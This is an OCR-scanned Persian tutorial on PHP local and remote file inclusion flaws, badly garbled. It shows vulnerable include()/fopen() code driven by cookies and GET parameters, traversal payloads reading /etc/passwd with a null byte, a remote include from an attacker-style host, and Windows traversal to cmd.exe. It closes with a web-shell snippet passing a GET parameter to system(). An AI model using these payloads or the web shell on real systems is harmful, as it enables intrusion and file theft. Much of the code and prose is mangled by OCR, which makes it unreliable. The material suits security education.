Llay U et 5l (g i Olay e Al o 5 LS o (551545 | apenrd nﬁf‘:éﬁuﬁ L S5S
S s sde 305 Olgoes Cole o lad (B 5,5 o planil Lo Lo S5 (ol Oboy cpl s S
o3 e lly oy » 2l S s e 3l 35 S8 G a pad Oledbl 03 S sl
Aol 5 el b s 4y Cule 4 Ll e s SleSb OJ%)‘) Oy Fbe Sl g Ll 55 e

3 (6l amies 30y s SNETA S D5 5 s ax e Wl S S

oo
D Q

<?
getcockie('cookiename', 'value', 'expiration time', 'pach’,
'domain', 'secure connection');

i

<72

if (empty (5 _CCOKIE['"password'])){

$pass = strtolower{(mdS5 (s POST['pass'])):

S$spass = "delkZ2aTbkafTES0243db7lcdazbd4i=s5a39";

}

iZf({(spass == Sspass) or (5 _COOKIE['usermame'] == S$s5pass )){

if(l!isset (5_CCOKIE['"password'])){
setccokie ("password', 'delb2a7kbaf7850243db71cd4abd4e5a39",
time ()+50*50) ;

}
echo "Welcoms to the system”:;
}else{

echo "Enter Correct Password<br>":;
echo " <html>

<bcdyﬂ

<form action=login.php mecthod=P0ST>
rassword:<input tType=password name=pass>
<input tTtype=submit valus=ok>
</Eorm>

</body>

</ hTtmi>";

}
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Sl sle Gy w0 S48 aS Cunl (g polas La&bu,b\?)d|?|f‘&fvbw\ gl ol G
Lole L;JJ;S)J-{ Gl 4 Ul e L;J_i.,\.;w| & b aheslaal bl £ ] OLl g 5 Ol
S8 S ol (G Wl5 e el A llie L S ol il e 55 Cmd.exe
sl 5 4y S bl O
*Require() %?
*Require- once() °
*Include- once() ﬁ

*Fopen() .
* File_ get _contents() . %“
* More... Ué

I, March 10, 2007.5;16pM wile (5 lude amio onl 5 ou)l %@;ru G oamto SO S 5

ol 1 25 3l WEICOME pb 4 (@hieis 55 5 das o Jiuled Lo g

)

<? Echo welcome Mahdi - to your site<br>;"
bl b b oS glads b sl mlsft\\

%

<?

//Welcome.php with date fupc ?9
$today = date("F j, Y, g:i ")
echo "Today is ".$today." <*b%

echo "Welcome Mahd E@p @your site<br>";

7>

W ).) L@." J@@ J.vb &_{.3 ).) cv)l.s GM}JALM LQLAJ\S u—**“f c)lsd‘ rbu\ g_,.@.?- J§J.> ob

@ 28 o o poINCIUAR() w5 51 oslizal LIS ol .l WelCOmE

. 30
//§@mé.php with date function
in

de '/home/date.php’;
"Welcome Mahdi to your site<br>";
2>

<?

/[Template.php

$template = 'yourtempl.php’;

if (is_set($_COOKIE[TEMPLATE'))
$template =$ _COOKIE[ TEMPLATE';
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include ( "/home/templates/" . $template );
7>

B g slie &S 300 0 Cel a0 CIB Ol 5 cole sdaline 1w 8 Jle cpl s
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<?

/[Language.php

if($_COOKIE["language™]) {

$llang =$_COOKIE["language"]; %?

} %

else

{ Bﬁ

$1_array = explode("-",$lang_array[0]); %““

$llang = $I_array[0]; @“‘n

Se'[COOkie("|<':1ﬂgu<’:lge",$lIang,time()+1209600,"",----,----);‘§§

¥
include(*/home/lang/".$llang.”.php™); ©\
7> %
//Cookies
language 0"

en

to

language

En

S5 eonbamio S ﬁﬁg@ﬂnﬂ Languge «=io ;5 sl wxd i sladS 5 Lo SsS o)z b
Slsts 1 lS 0L & B i LS55 Olge & el o td e 4 PHP W s 055 6LSIL
&b ey ool OQJ%&“ 4 1 BNPAP wmic BN ke (8.5 5 s b e p5b 4 S e

L &S e Iyl 3 includeo
4 S x&\@g@@@w 0Ls Olse 4 15 SP.PIP amis ns i SP 4l b SSL S I
03 L‘*‘S oS DA @S Sl B e S0 2 G LU s e Sose ol
L@M Sl bsls J s home )5 1 s welcome a=in s home /lang ) s 15

Cookies//

language
en

to
language
welcomey..

YAV



caligukbycibilcdis
\hede ol g stS el
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include(*'/home/lang/../welcome.php");
5038 Sl 50wl L OlEslE 5 ok ol oS 1 sl bb s pdicand cul Sl eslinal L
GBS s 53 s sadys s CMA S5 L s S s password bbb Jte sk a4 el

e IS
Cookiesy/
language . %?
en
to S
language %n
etc/passwa/../../ ./ ot ok o o . ® Ma

Q

oS o Jelou 5 LS 5 S, language ais o !

<? %
//[Language.php

if($_COOKIE["language"]) { 0"
$llang = $_COOKIE["language"];
}

else \y
{
$l array = explode("-",$la@ ray[0]);

$llang = $I_array[0];

setcookie(*'langua e, a%,time()+1209600,"","","");
¥
include("/ho /".$llang.".php");
7> @
% L e Sl B e s by LU 4SS sdalie JLL bl o

Q

in% TRome/lang/".$llang.".php™);

Lé;@ ol ol b e S e Bl e Sl 3 LG slenl 4 PHP Wpy S amin &5 0oy s

SES A Sl ealizal bl s s 68 enl et S8 Gl 3 LPHP e s b Ll LG il e

53,503 o0 ol S S a8 cpl oS Sl 5 L PHD 51 e gladi sy b sl L6 il 5 0 S
oS Sl o i ) 35 s 50 gla Ll (Sl e b e (fo0) Soypm 4 R 53

Cookies//

language
en
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to
language
L Jetc/passwd %00
S e Sl s sl b e
include(*"/home/lang../../../I..1..1..I..1..]..letc/passwd%00.php");
oo 4 S PASSWA LU 5ty o OLL a0 andy 5515 SobdU a Oy 5 Sl 3 5l

passwd%00.php

Dyt s Do il el ol %?*‘ﬂ

passwd °
il A ol 4 S ISs FOPEN b 5l eslina b oS L;ﬁ,g%.é@\ s I

<?

/lindex.php \@n‘%

include('/home/template/header.php’);

if (isset($_GET['file']) {

$fp = fopen("$file” . ".html","r"); %©\‘§
}else {

$fp = fopen("'main.html", "r"); N ;9

} 0 9

include(‘/home/template/footer.php");

7>
y9 Ll eedylhe 5 Sl B 5 Oy 4 Slin
http://www.example.ir/indexphg?file=page.html

http://www.example.ir/ind h?file:main.html
23 0 % %;W,ﬁb&} main Olge a ngiiswmjbj& sl
http:/www.exampleg¥/index.php?file=http://www.hackersite.ir/main

25 Ghaleny 1 e LB 5 Lag, 58 5 L s
http:/mww.example.ir/index.php?file=../../../../etc/passwd

@}ob@&@b LALS)}':SJ:’“J rf‘};‘dﬂ}xﬂw PHP LSLAML:J.:MJ}JN L“LS;,’,J:’.V-:MT Cj_: LJ':‘

\ .

%

Iwww.example.ir/show.asp?view=../../../..I../Windows/system.ini
http://lwww.example.ir/scripts/..%5c../Windows/System32/cmd.exe?/c+dir
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li.f (isset ($page))
{
include ($page) ;

} %%
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hrrrtp:z /S / vwveaeww.example  dr/?page=1ink.php
hrrttp:z /S / vww.example  ir/?page—galervy.php
hrrrtp s /S / vww.example . ir/?page=contact.php

il e 5 el blat Lol o PAGe iz o oladl s luadl)@al S S3,5 K

[ Trretox = e b
I [ | DAM Search I B I

‘ Eed http//www.example.ir/?page- nopage.php

| @9 caUsarsMahdiDesktap\index htmi [ |

Warning: main(nopage php): failed to open stream: No such file or directory in wwwiexample irlindex php on line 7

88~ | @ c\Users\Mahdi\Desktop\i... | & CAUsers\Mahdi\Deskto... | |

‘Warning: main(): Failed opening 'nOthing php' for inclusion (include_path="_\php'pear\") in \www'example ir'index php on line 7
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if (issec(S_GET["cmd*]))
i

S$cmd=5 GET["cmd"]>
svystem{"scmd™) >

exict{):

}
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